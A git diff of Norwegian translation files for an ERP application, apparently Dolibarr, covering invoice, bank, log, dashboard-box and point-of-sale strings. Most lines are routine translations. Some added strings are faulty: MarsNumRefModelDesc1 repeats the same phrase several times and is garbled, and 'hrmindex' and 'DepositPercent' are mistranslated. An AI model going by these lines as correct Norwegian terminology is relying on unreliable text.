Vanligvis skjer dette når en post er slettet manuelt fra listen over transaksjoner på bankkontoen (for eksempel under en avstemming av bankkontoen). En annen årsak er at betalingen ble registrert da modulen "%s" ble deaktivert. -AlreadyOneBankAccount=Already one bank account defined -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. -ToCreateRelatedRecordIntoBank=To create missing related bank record +AlreadyOneBankAccount=En bankkonto er allerede definert +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA-overføring: 'Betalingstype' på 'Kredittoverføring'-nivå +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Når du genererer en SEPA XML-fil for kredittoverføringer, kan seksjonen "PaymentTypeInformation" nå plasseres i seksjonen "CreditTransferTransactionInformation" (i stedet for seksjonen "Payment"). Vi anbefaler på det sterkeste å holde dette umerket for å plassere PaymentTypeInformation på betalingsnivå, da alle banker ikke nødvendigvis godtar det på CreditTransferTransactionInformation-nivå. Kontakt banken din før du plasserer PaymentTypeInformation på CreditTransferTransactionInformation-nivå. +ToCreateRelatedRecordIntoBank=For å opprette manglende relatert bankpost diff --git a/htdocs/langs/nb_NO/bills.lang b/htdocs/langs/nb_NO/bills.lang index 3d12c1d30c0..174b0f5b1fd 100644 --- a/htdocs/langs/nb_NO/bills.lang +++ b/htdocs/langs/nb_NO/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Kunde fakturastatistikker BillsStatisticsSuppliers=Leverandørfakturaer statistikk DisabledBecauseDispatchedInBookkeeping=Deaktivert fordi fakturaen ble sendt inn til bokføring DisabledBecauseNotLastInvoice=Deaktivert fordi fakturaen ikke kan slettes. Noen fakturaer ble registrert etter denne, og det vil skape hull i telleren. +DisabledBecauseNotLastSituationInvoice=Deaktivert fordi faktura ikke kan slettes. Denne fakturaen er ikke den siste i situasjonsfaktura-syklusen. DisabledBecauseNotErasable=Deaktivert fordi den ikke kan slettes InvoiceStandard=Standardfaktura InvoiceStandardAsk=Standardfaktura InvoiceStandardDesc=Denne fakturatypen er den vanligste fakturaen. +InvoiceStandardShort=Standard InvoiceDeposit=Nedbetalingsfaktura InvoiceDepositAsk=Nedbetalingsfaktura InvoiceDepositDesc=Denne typen faktura lages når en forskuddsbetaling er mottatt. @@ -24,6 +26,7 @@ InvoiceProForma=Proforma faktura InvoiceProFormaAsk=Proforma faktura InvoiceProFormaDesc=Proforma faktura er et bilde av en ekte faktura, men har ingen verdi i regnskapsføring. InvoiceReplacement=Erstatningsfaktura +InvoiceReplacementShort=Erstatning InvoiceReplacementAsk=Erstatningsfaktura for faktura InvoiceReplacementDesc=Erstatningsfaktura brukes til å erstatte en faktura uten at betaling allerede mottatt.

      Merk: Bare fakturaer uten innbetaling kan erstattes. Hvis fakturaen du erstatter, ikke er avsluttet, blir den automatisk stengt for å "forlates". InvoiceAvoir=Kreditnota @@ -55,7 +58,7 @@ CustomerInvoice=Kundefaktura CustomersInvoices=Kundefakturaer SupplierInvoice=Leverandørfaktura SuppliersInvoices=Leverandørfakturaer -SupplierInvoiceLines=Vendor invoice lines +SupplierInvoiceLines=Leverandør fakturalinjer SupplierBill=Leverandørfaktura SupplierBills=Leverandørfakturaer Payment=Betaling @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Denne delen elle ErrorInvoiceIsNotLastOfSameType=Feil: Datoen for faktura %s er %s. Den må være etter eller lik siste dato for samme type fakturaer (%s). Vennligst endre fakturadatoen. BillFrom=Fra BillTo=Til +ShippingTo=Sendes til ActionsOnBill=Handlinger på faktura RecurringInvoiceTemplate=Mal/Gjentakende faktura NoQualifiedRecurringInvoiceTemplateFound=Ingen gjentagende-fakturamal kvalifisert for generering @@ -192,7 +196,7 @@ ConfirmClassifyPaidPartiallyReasonDiscount=Resterende ubetalt (%s%s) er ConfirmClassifyPaidPartiallyReasonDiscountNoVat=Restbeløpet (%s %s) er rabatt innrømmet fordi betalingen ble gjort før forfall. Jeg aksepterer å miste MVA på denne rabatten. ConfirmClassifyPaidPartiallyReasonDiscountVat=Restebløpet (%s %s) er rabatt innrømmet fordi betalingen ble gjort før forfall. Jeg skriver av MVA på denne rabatten uten kreditnota. ConfirmClassifyPaidPartiallyReasonBadCustomer=Dårlig kunde -ConfirmClassifyPaidPartiallyReasonBankCharge=Deduction by bank (intermediary bank fees) +ConfirmClassifyPaidPartiallyReasonBankCharge=Fradrag av bank (mellombankgebyrer) ConfirmClassifyPaidPartiallyReasonProductReturned=Varer delvis returnert ConfirmClassifyPaidPartiallyReasonOther=Beløpet tapsføres av en annen årsak ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=Dette valget er kun mulig hvis fakturaen har en spesiell påskrift. (For eksemple: «Kun MVA-andelen av prisen som faktisk betales gir rett til MVA-fradrag») @@ -200,7 +204,7 @@ ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=I noen land er dette valget ku ConfirmClassifyPaidPartiallyReasonAvoirDesc=Bruk dette valget hvis ingen av de andre passer ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=En dårlig kunde er en kunde som nekter å betale. ConfirmClassifyPaidPartiallyReasonProductReturnedDesc=Dette valget brukes når betalingen ikke er komplett fordi noen varer er returnert -ConfirmClassifyPaidPartiallyReasonBankChargeDesc=The unpaid amount is intermediary bank fees, deducted directly from the correct amount paid by the Customer. +ConfirmClassifyPaidPartiallyReasonBankChargeDesc=Det ubetalte beløpet er mellombankgebyrer , trukket direkte fra det korrekte beløpet betalt av kunden. ConfirmClassifyPaidPartiallyReasonOtherDesc=Bruk dette valget hvis ingen av de andre passer, for eksempel i følgende situasjon:
      - betaling ikke komplett fordi noen varer er sendt tilbake
      - ikke betalt fullt ut fordi rabatt er uteglemt
      I alle tilfelle må beløpet rettes i regnskapssystemet ved å lage en kreditnota. ConfirmClassifyAbandonReasonOther=Annen ConfirmClassifyAbandonReasonOtherDesc=Dette valget brukes i alle andre tilfeller. For eksempel fordi du vil lage en erstatningsfaktura. @@ -238,22 +242,22 @@ Abandoned=Tapsført RemainderToPay=Restbeløp RemainderToPayMulticurrency=Gjenværende ubetalt, original valuta RemainderToTake=Restbeløp -RemainderToTakeMulticurrency=Remaining amount to take, original currency +RemainderToTakeMulticurrency=Gjenstående beløp å ta, opprinnelig valuta RemainderToPayBack=Restbeløp å refundere -RemainderToPayBackMulticurrency=Remaining amount to refund, original currency -NegativeIfExcessRefunded=negative if excess refunded +RemainderToPayBackMulticurrency=Gjenstående beløp som skal refunderes, opprinnelig valuta +NegativeIfExcessRefunded=negativ hvis for mye refundert Rest=Venter AmountExpected=Beløp purret ExcessReceived=Overskytende -ExcessReceivedMulticurrency=Excess received, original currency -NegativeIfExcessReceived=negative if excess received +ExcessReceivedMulticurrency=Mottatt overskudd, opprinnelig valuta +NegativeIfExcessReceived=negativ hvis for mye mottatt ExcessPaid=For mye betalt -ExcessPaidMulticurrency=Excess paid, original currency +ExcessPaidMulticurrency=For mye betalt, opprinnelig valuta EscompteOffered=Rabatt innrømmet (betalt før forfall) EscompteOfferedShort=Rabatt -SendBillRef=Faktura %s +SendBillRef=Vedlagt faktura %s SendReminderBillRef=Faktura %s (påminnelse) -SendPaymentReceipt=Submission of payment receipt %s +SendPaymentReceipt=Innsending av betalingskvittering %s NoDraftBills=Ingen fakturakladder NoOtherDraftBills=Ingen andre fakturakladder NoDraftInvoices=Ingen fakturakladder @@ -435,17 +439,18 @@ FixAmount=Fast beløp - 1 linje med etiketten '%s' VarAmount=Variabelt beløp VarAmountOneLine=Variabel mengde (%% tot.) - 1 linje med etikett '%s' VarAmountAllLines=Variabelt beløp (%% tot.) - alle linjer fra opprinnelse -DepositPercent=Deposit %% +DepositPercent=Sett inn %% DepositGenerationPermittedByThePaymentTermsSelected=Dette er tillatt av de valgte betalingsbetingelsene GenerateDeposit=Generer en %s%% innskuddsfaktura ValidateGeneratedDeposit=Bekreft det genererte innskuddet DepositGenerated=Innskudd generert ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=Du kan bare automatisk generere et innskudd fra et tilbud eller en ordre -ErrorPaymentConditionsNotEligibleToDepositCreation=The chose payment conditions are not eligible for automatic deposit generation +ErrorPaymentConditionsNotEligibleToDepositCreation=De valgte betalingsbetingelsene er ikke kvalifisert for automatisk innskuddsgenerering # PaymentType PaymentTypeVIR=Bankoverførsel PaymentTypeShortVIR=Bankoverførsel PaymentTypePRE=Direktedebiter betalingsordre +PaymentTypePREdetails=(på konto *-%s) PaymentTypeShortPRE=Debiter betalingsordre PaymentTypeLIQ=Kontant PaymentTypeShortLIQ=Kontant @@ -494,7 +499,7 @@ PaymentByChequeOrderedToShort=Sjekkbetaling (inkl. MVA) til SendTo=sendt til PaymentByTransferOnThisBankAccount=Betaling ved overføring til følgende bankkonto VATIsNotUsedForInvoice=* Avgiftsfritt -VATIsNotUsedForInvoiceAsso=* Non applicable VAT art-261-7 of CGI +VATIsNotUsedForInvoiceAsso=* Ikke gjeldende MVA art-261-7 av CGI LawApplicationPart1=Alle varer forblir vår eiendom LawApplicationPart2=til de er fullt ut betalt. LawApplicationPart3=selgeren til full betaling av @@ -526,7 +531,7 @@ Reported=Forsinket DisabledBecausePayments=Ikke mulig siden det er noen betalinger CantRemovePaymentWithOneInvoicePaid=Kan ikke fjerne betalingen siden det er minst en faktura som er klassifisert som betalt CantRemovePaymentVATPaid=Kan ikke fjerne betaling siden MVA-deklarasjonen er klassifisert betalt -CantRemovePaymentSalaryPaid=Can't remove payment since salary is classified paid +CantRemovePaymentSalaryPaid=Kan ikke fjerne betaling siden lønn er klassifisert som betalt ExpectedToPay=Forventet innbetaling CantRemoveConciliatedPayment=Kan ikke fjerne avtalt beløp PayedByThisPayment=Betales av denne innbetalingen @@ -534,7 +539,7 @@ ClosePaidInvoicesAutomatically=Klassifiser automatisk alle standard-, forskudds- ClosePaidCreditNotesAutomatically=Klassifiser automatisk alle kreditnotaer som "Betalt" når refusjonen er fullført. ClosePaidContributionsAutomatically=Klassifiser automatisk alle sosiale eller skattemessige bidrag som "Betalt" når betalingen er fullstendig utført. ClosePaidVATAutomatically=Klassifiser automatisk MVA-erklæring som "Betalt" når betalingen er fullført. -ClosePaidSalaryAutomatically=Classify automatically salary as "Paid" when payment is done entirely. +ClosePaidSalaryAutomatically=Klassifiser automatisk lønn som "Betalt" når betalingen er fullført. AllCompletelyPayedInvoiceWillBeClosed=Alle fakturaer uten gjenværende å betale vil automatisk bli stengt med status "Betalt". ToMakePayment=Betal ToMakePaymentBack=Tilbakebetal @@ -547,10 +552,10 @@ YouMustCreateStandardInvoiceFirstDesc=Du må først lage en standardfaktura og s PDFCrabeDescription=PDF-fakturamal Crabe. En komplett fakturamal (gammel implementering av Sponge-mal) PDFSpongeDescription=PDF Fakturamal Sponge. En komplett fakturamal PDFCrevetteDescription=PDF fakturamal Crevette. En komplett mal for delfaktura -TerreNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 -MarsNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for replacement invoices, %syymm-nnnn for down payment invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 +TerreNumRefModelDesc1=Returnerer nummer i formatet %syymm-nnnn for standardfakturaer og %syymm-nnnn for kreditnotaer der yy er år, mm er måned og nnnn er et sekvensielt automatisk økende nummer uten pause og ingen retur til 0 +MarsNumRefModelDesc1=Returnummer i formatet %syymm-nnnn for standardfakturaer, %syymm-nnnn for erstatningsfakturaer, %syymm-nnnn for forskuddsfakturaer og %syymm-nnnn for erstatningsfakturaer, %syymm-nnnn for forskuddsfakturaer og %syymm-nnnn for erstatningsfakturaer, %syymm-nnnn for forskuddsfakturaer og %syymm-nnnn for erstatningsfakturaer, %syymm-nnnn for forskuddsfakturaer og %syymm-nnnn for erstatningsfakturaer. uten pause og ingen retur til 0 TerreNumRefModelError=En faktura som starter med $sååmm finnes allerede og er ikke kompatibel med denne nummereringsmodulen. Du må slette den eller gi den ett nytt navn for å aktivere denne modulen. -CactusNumRefModelDesc1=Return number in the format %syymm-nnnn for standard invoices, %syymm-nnnn for credit notes and %syymm-nnnn for down payment invoices where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0 +CactusNumRefModelDesc1=Returnerer et nummer i formatet %syymm-nnnn for standardfakturaer, %syymm-nnnn for kreditnotaer og %syymm-nnnn for forskuddsfakturaer der yy er år, mm er måned og nnnn er et sekvensielt automatisk økende nummer uten pause og ingen retur til 0 EarlyClosingReason=Årsaken til tidlig avslutning EarlyClosingComment=Tidlig avslutning notat ##### Types de contacts ##### @@ -596,7 +601,7 @@ ToCreateARecurringInvoiceGene=For å opprette fremtidige periodiske fakturaer ma ToCreateARecurringInvoiceGeneAuto=Hvis du vil opprette slike fakturaer automatisk, ta kontakt med administrator for å aktivere og sette opp modulen %s. Husk at begge metoder (manuell og automatisk) kan bruke om hverandre uten fare for duplisering. DeleteRepeatableInvoice=Slett fakturamal ConfirmDeleteRepeatableInvoice=Er du sikker på at du vil -CreateOneBillByThird=Create one invoice per third party (otherwise, one invoice per selected object) +CreateOneBillByThird=Opprett én faktura per tredjepart (ellers én faktura per valgt objekt) BillCreated=%s faktura(er) generert BillXCreated=Faktura %s generert StatusOfGeneratedDocuments=Status for dokumentgenerering @@ -616,8 +621,13 @@ SituationTotalRayToRest=Rest å betale eks. mva PDFSituationTitle=Delfaktura nr. %d SituationTotalProgress=Total progresjon%d %% SearchUnpaidInvoicesWithDueDate=Søk etter ubetalte fakturaer med forfallsdato = %s -NoPaymentAvailable=No payment available for %s -PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to paid -SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices -MakePaymentAndClassifyPayed=Record payment -BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +NoPaymentAvailable=Ingen betaling tilgjengelig for %s +PaymentRegisteredAndInvoiceSetToPaid=Betaling registrert og faktura %s satt til betalt +SendEmailsRemindersOnInvoiceDueDate=Send påminnelse på epost for ubetalte fakturaer +MakePaymentAndClassifyPayed=Registrer betaling +BulkPaymentNotPossibleForInvoice=Massebetaling er ikke mulig for faktura %s (feil type eller status) +MentionVATDebitOptionIsOn=Mulighet for å betale skatt basert på debet +MentionCategoryOfOperations=Kategori av operasjoner +MentionCategoryOfOperations0=Varelevering +MentionCategoryOfOperations1=Levering av tjenester +MentionCategoryOfOperations2=Blandet - Levering av varer og levering av tjenester diff --git a/htdocs/langs/nb_NO/blockedlog.lang b/htdocs/langs/nb_NO/blockedlog.lang index 0b368bc2e08..e59052b3896 100644 --- a/htdocs/langs/nb_NO/blockedlog.lang +++ b/htdocs/langs/nb_NO/blockedlog.lang @@ -14,28 +14,6 @@ OkCheckFingerprintValidityButChainIsKo=Arkivert logg ser ut til å være gyldig AddedByAuthority=Lagret hos ekstern myndighet NotAddedByAuthorityYet=Ikke lagret hos ekstern myndighet ShowDetails=Vis lagrede detaljer -logPAYMENT_VARIOUS_CREATE=Betaling (ikke tildelt faktura) opprettet -logPAYMENT_VARIOUS_MODIFY=Betaling (ikke tildelt faktura) endret -logPAYMENT_VARIOUS_DELETE=Betaling (ikke tildelt faktura) logisk sletting -logPAYMENT_ADD_TO_BANK=Betaling lagt til i bank -logPAYMENT_CUSTOMER_CREATE=Kundebetaling opprettet -logPAYMENT_CUSTOMER_DELETE=Kundebetaling logisk sletting -logDONATION_PAYMENT_CREATE=Donasjonsbetaling opprettet -logDONATION_PAYMENT_DELETE=Donasjonsbetaling logisk sletting -logBILL_PAYED=Kundefaktura betalt -logBILL_UNPAYED=Kundefaktura settes ubetalt -logBILL_VALIDATE=Kundefaktura validert -logBILL_SENTBYMAIL=Kundefaktura sendt via post -logBILL_DELETE=Kundefaktura logisk slettet -logMODULE_RESET=Modul BlockedLog ble deaktivert -logMODULE_SET=Modul BlockedLog ble aktivert -logDON_VALIDATE=Donasjon validert -logDON_MODIFY=Donasjon endret -logDON_DELETE=Donasjon logisk sletting -logMEMBER_SUBSCRIPTION_CREATE=Medlemskap opprettet -logMEMBER_SUBSCRIPTION_MODIFY=Medlemsskap endret -logMEMBER_SUBSCRIPTION_DELETE=Medlemskap logisk sletting -logCASHCONTROL_VALIDATE=Loggfør for kassaavslutning BlockedLogBillDownload=Kundefaktura nedlasting BlockedLogBillPreview=Kundefaktura forhåndsvisning BlockedlogInfoDialog=Loggdetaljer @@ -53,5 +31,31 @@ OnlyNonValid=Ikke gyldig TooManyRecordToScanRestrictFilters=For mange poster å skanne/analysere. Vennligst begrens listen med mer restriktive filtre. RestrictYearToExport=Begrens måned/år å eksportere BlockedLogEnabled=System for å spore hendelser inn i uforanderlige logger er aktivert -BlockedLogDisabled=System to track events into unalterable logs has been disabled after some recording were done. We saved a special Fingerprint to track the chain as broken -BlockedLogDisabledBis=System to track events into unalterable logs has been disabled. This is possible because no record were done yet. +BlockedLogDisabled=System for å spore hendelser inn i uforanderlige logger har blitt deaktivert etter at noen opptak ble gjort. Vi lagret et spesielt fingeravtrykk for å spore kjeden som ødelagt +BlockedLogDisabledBis=System for å spore hendelser inn i uforanderlige logger har blitt deaktivert. Dette er mulig fordi ingen registrering er gjort ennå. + +## logTypes +logBILL_DELETE=Kundefaktura logisk slettet +logBILL_PAYED=Kundefaktura betalt +logBILL_SENTBYMAIL=Kundefaktura sendt via post +logBILL_UNPAYED=Kundefaktura settes ubetalt +logBILL_VALIDATE=Kundefaktura validert +logCASHCONTROL_VALIDATE=Loggfør for kassaavslutning +logDOC_DOWNLOAD=Nedlasting av et validert dokument for å skrive ut eller sende +logDOC_PREVIEW=Forhåndsvisning av et validert dokument for å skrive ut eller laste ned +logDONATION_PAYMENT_CREATE=Donasjonsbetaling opprettet +logDONATION_PAYMENT_DELETE=Donasjonsbetaling logisk sletting +logDON_DELETE=Donasjon logisk sletting +logDON_MODIFY=Donasjon endret +logDON_VALIDATE=Donasjon validert +logMEMBER_SUBSCRIPTION_CREATE=Medlemskap opprettet +logMEMBER_SUBSCRIPTION_DELETE=Medlemskap logisk sletting +logMEMBER_SUBSCRIPTION_MODIFY=Medlemsskap endret +logMODULE_RESET=Modul BlockedLog ble deaktivert +logMODULE_SET=Modul BlockedLog ble aktivert +logPAYMENT_ADD_TO_BANK=Betaling lagt til i bank +logPAYMENT_CUSTOMER_CREATE=Kundebetaling opprettet +logPAYMENT_CUSTOMER_DELETE=Kundebetaling logisk sletting +logPAYMENT_VARIOUS_CREATE=Betaling (ikke tildelt faktura) opprettet +logPAYMENT_VARIOUS_DELETE=Betaling (ikke tildelt faktura) logisk sletting +logPAYMENT_VARIOUS_MODIFY=Betaling (ikke tildelt faktura) endret diff --git a/htdocs/langs/nb_NO/bookmarks.lang b/htdocs/langs/nb_NO/bookmarks.lang index 66850c4ccab..0d8f1170509 100644 --- a/htdocs/langs/nb_NO/bookmarks.lang +++ b/htdocs/langs/nb_NO/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Velg om den koblede siden skal BookmarksManagement=Behandling av bokmerker BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=Ingen bokmerker definert +NoBookmarkFound=Finner ingen bokmerker diff --git a/htdocs/langs/nb_NO/boxes.lang b/htdocs/langs/nb_NO/boxes.lang index bd7203b0e91..9f12038b258 100644 --- a/htdocs/langs/nb_NO/boxes.lang +++ b/htdocs/langs/nb_NO/boxes.lang @@ -19,12 +19,13 @@ BoxLastContracts=Siste kontrakter BoxLastContacts=Siste kontakter/adresser BoxLastMembers=Siste medlemmer BoxLastModifiedMembers=Sist endrede medlemmer -BoxLastMembersSubscriptions=Latest member subscriptions +BoxLastMembersSubscriptions=Siste medlemsabonnementer BoxFicheInter=Siste intervensjoner BoxCurrentAccounts=Åpne kontobalanse BoxTitleMemberNextBirthdays=Fødselsdager denne måneden (medlemmer) -BoxTitleMembersByType=Members by type and status -BoxTitleMembersSubscriptionsByYear=Members Subscriptions by year +BoxTitleMembersByType=Medlemmer etter type og status +BoxTitleMembersByTags=Medlemmer etter merker og status +BoxTitleMembersSubscriptionsByYear=Medlemsabonnement etter år BoxTitleLastRssInfos=Siste %s nyheter fra %s BoxTitleLastProducts=Varer/Tjenester: siste %s endret BoxTitleProductsAlertStock=Varer: lagervarsel @@ -44,13 +45,15 @@ BoxTitleSupplierOrdersAwaitingReception=Leverandørordre avventer mottak BoxTitleLastModifiedContacts=Kontakter/Adresser: Siste %s endret BoxMyLastBookmarks=Bokmerker: siste %s BoxOldestExpiredServices=Eldste aktive utløpte tjenester +BoxOldestActions=Eldste arrangementer å utføre BoxLastExpiredServices=Siste %s eldste kontakter med aktive, utgåtte tjenseter BoxTitleLastActionsToDo=Siste %s handlinger å utføre +BoxTitleOldestActionsToDo=Eldste %s hendelser å utføre, ikke fullført BoxTitleLastContracts=Siste %s kontrakter som ble endret BoxTitleLastModifiedDonations=Siste %s donasjoner som ble endret BoxTitleLastModifiedExpenses=Siste %s utgiftsrapporter som ble endret -BoxTitleLatestModifiedBoms=Latest %s BOMs which were modified -BoxTitleLatestModifiedMos=Latest %s Manufacturing Orders which were modified +BoxTitleLatestModifiedBoms=Siste %s stykklister(BOM) som ble endret +BoxTitleLatestModifiedMos=Siste %s produksjonsordre som ble endret BoxTitleLastOutstandingBillReached=Kunder med maksimalt utestående overskredet BoxGlobalActivity=Global aktivitet (fakturaer, tilbud, ordrer) BoxGoodCustomers=Gode kunder @@ -91,8 +94,8 @@ BoxTitleLatestModifiedSupplierOrders=Leverandørordre: siste %s endret BoxTitleLastModifiedCustomerBills=Kundefakturaer: siste %s endret BoxTitleLastModifiedCustomerOrders=Salgsordre: siste %s endret BoxTitleLastModifiedPropals=Siste %s endrede tilbud -BoxTitleLatestModifiedJobPositions=Latest %s modified job positions -BoxTitleLatestModifiedCandidatures=Latest %s modified job applications +BoxTitleLatestModifiedJobPositions=Siste %s endrede stillinger +BoxTitleLatestModifiedCandidatures=Siste %s endrede jobbsøknader ForCustomersInvoices=Kundefakturaer ForCustomersOrders=Kundeordrer ForProposals=Tilbud @@ -112,9 +115,30 @@ BoxTitleLastCustomerShipments=Siste %s kundeforsendelser NoRecordedShipments=Ingen registrert kundesending BoxCustomersOutstandingBillReached=Kunder med utestående grense nådd # Pages -UsersHome=Home users and groups -MembersHome=Home Membership +UsersHome=Hjemmebrukere og grupper +MembersHome=Hjem medlemskap ThirdpartiesHome=Hjem Tredjeparter +productindex=Hjem produkter og tjenester +mrpindex=Hjem MRP +commercialindex=Hjem kommersielt +projectsindex=Hjemmeprosjekter +invoiceindex=Hjemmefakturaer +hrmindex=Hjemmefakturaer TicketsHome=Hjem Billetter -AccountancyHome=Home Accountancy +stockindex=Hjemmelager +sendingindex=Hjem frakt +receptionindex=Hjem mottak +activityindex=Hjem aktivitet +proposalindex=Hjem tilbud +ordersindex=Hjem ordre +orderssuppliersindex=Hjem leverandørordre +contractindex=Hjem kontrakter +interventionindex=Hjem intervensjoner +suppliersproposalsindex=Hjem leverandørtilbud +donationindex=Hjem donasjoner +specialexpensesindex=Hjem spesielle utgifter +expensereportindex=Hjem utgiftsrapport +mailingindex=Hjem epost +opensurveyindex=Hjem opensurvey +AccountancyHome=Hjem Regnskap ValidatedProjects=Validerte prosjekter diff --git a/htdocs/langs/nb_NO/cashdesk.lang b/htdocs/langs/nb_NO/cashdesk.lang index 5df74a896ed..a004564d5dc 100644 --- a/htdocs/langs/nb_NO/cashdesk.lang +++ b/htdocs/langs/nb_NO/cashdesk.lang @@ -41,7 +41,7 @@ Floor=Etasje AddTable=Legg til tabell Place=Sted TakeposConnectorNecesary='TakePOS Connector' kreves -OrderPrinters=Add a button to send the order to some given printers, without payment (for example to send an order to a kitchen) +OrderPrinters=Legg til en knapp for å sende bestillingen til noen gitte skrivere, uten betaling (for eksempel for å sende en bestilling til et kjøkken) NotAvailableWithBrowserPrinter=Ikke tilgjengelig når skriver for kvittering er satt til nettleser SearchProduct=Søk produkt Receipt=Kvittering @@ -50,8 +50,8 @@ Footer=Bunntekst AmountAtEndOfPeriod=Beløp ved periodens slutt (dag, måned eller år) TheoricalAmount=Teoretisk beløp RealAmount=Virkelig beløp -CashFence=Cash box closing -CashFenceDone=Cash box closing done for the period +CashFence=Kasselukking +CashFenceDone=Kassestenging utført for perioden NbOfInvoices=Ant. fakturaer Paymentnumpad=Tastaturtype for å legge inn betaling Numberspad=Nummertastatur @@ -59,7 +59,7 @@ BillsCoinsPad=Mynter og pengesedler Pad DolistorePosCategory=TakePOS-moduler og andre POS-løsninger for Dolibarr TakeposNeedsCategories=TakePOS trenger minst en produktkategori for å fungere TakeposNeedsAtLeastOnSubCategoryIntoParentCategory=TakePOS trenger minst en produktkategori under kategorien %s for å fungere -OrderNotes=Can add some notes to each ordered items +OrderNotes=Kan legge til noen merknader til hver bestilte vare CashDeskBankAccountFor=Standardkonto for bruk for betalinger i NoPaimementModesDefined=Ingen betalingsmodus definert i TakePOS-konfigurasjonen TicketVatGrouped=Grupper mva etter pris i billetter|kvitteringer @@ -94,7 +94,7 @@ Browser=Nettleser BrowserMethodDescription=Enkel kvitteringsutskrift. Kun noen få parametere for å konfigurere kvitteringen. Skriv ut via nettleser. TakeposConnectorMethodDescription=Ekstern modul med ekstra funksjoner. Mulighet for å skrive ut fra skyen. PrintMethod=Utskriftsmetode -ReceiptPrinterMethodDescription=Powerful method with a lot of parameters. Full customizable with templates. The server hosting the application can't be in the Cloud (must be able to reach the printers in your network). +ReceiptPrinterMethodDescription=Kraftig metode med mange parametere. Fullt tilpassbar med maler. Serveren som er vert for applikasjonen kan ikke være i skyen (må kunne nå skriverne i nettverket ditt). ByTerminal=Med terminal TakeposNumpadUsePaymentIcon=Bruk ikon i stedet for tekst på betalingsknappene på nummertastaturet CashDeskRefNumberingModules=Nummereringsmodul for POS-salg @@ -102,8 +102,8 @@ CashDeskGenericMaskCodes6 =
      {TN}-tag brukes til å legge til terminal TakeposGroupSameProduct=Grupper samme produktlinjer StartAParallelSale=Start et nytt parallellsalg SaleStartedAt=Salget startet %s -ControlCashOpening=Open the "Control cash box" popup when opening the POS -CloseCashFence=Close cash box control +ControlCashOpening=Åpne "Kontroll av kasse" popup når du åpner POS +CloseCashFence=Lukk kassekontroll CashReport=Kontantrapport MainPrinterToUse=Hovedskriver som skal brukes OrderPrinterToUse=Odreskriver som skal brukes @@ -126,13 +126,22 @@ ModuleReceiptPrinterMustBeEnabled=Modulen Kvitteringsskriver må ha blitt aktive AllowDelayedPayment=Tillat forsinket betaling PrintPaymentMethodOnReceipts=Skriv ut betalingsmåte på billetter/kvitteringer WeighingScale=Vektskala -ShowPriceHT = Display the column with the price excluding tax (on screen) -ShowPriceHTOnReceipt = Display the column with the price excluding tax (on the receipt) -CustomerDisplay=Customer display -SplitSale=Split sale +ShowPriceHT = Vis kolonnen med prisen eks. MVA (på skjermen) +ShowPriceHTOnReceipt = Vis kolonnen med prisen eks. MVA (på kvitteringen) +CustomerDisplay=Kundedisplay +SplitSale=Delt salg PrintWithoutDetailsButton=Legg til knappen "Skriv ut uten detaljer". PrintWithoutDetailsLabelDefault=Linjeetikett som standard ved utskrift uten detaljer PrintWithoutDetails=Skriv ut uten detaljer -YearNotDefined=Year is not defined -TakeposBarcodeRuleToInsertProduct=Barcode rule to insert product -TakeposBarcodeRuleToInsertProductDesc=Rule to extract the product reference + a quantity from a scanned barcode.
      If empty (default value), application will use the full barcode scanned to find the product.

      If defined, syntax must be:
      ref:NB+qu:NB+qd:NB+other:NB
      where NB is the number of characters to use to extract data from the scanned barcode with:
      • ref : product reference
      • qu : quantity to set when inserting item (units)
      • qd : quantity to set when inserting item (decimals)
      • other : others characters
      +YearNotDefined=År er ikke definert +TakeposBarcodeRuleToInsertProduct=Strekkoderegel for å sette inn vare +TakeposBarcodeRuleToInsertProductDesc=Regel for å hente varereferansen + en kvantitet fra en skannet strekkode.
      Hvis tom (standardverdi), vil applikasjonen bruke hele den skannede strekkoden for å finne varen.

      Hvis definert, må syntaksen være:
      ref:NB+qu:NB+qd:NB+other:NB
      der NB er antall karakterer brukt for å hente data fra skannet strekkode:
      • ref : varereferanse
      • qu : Kvantitet ved innsetting av vare (enheter)
      • qd : kvantitet ved innsetting av vare (desimaler)
      • andre: andre karakterer
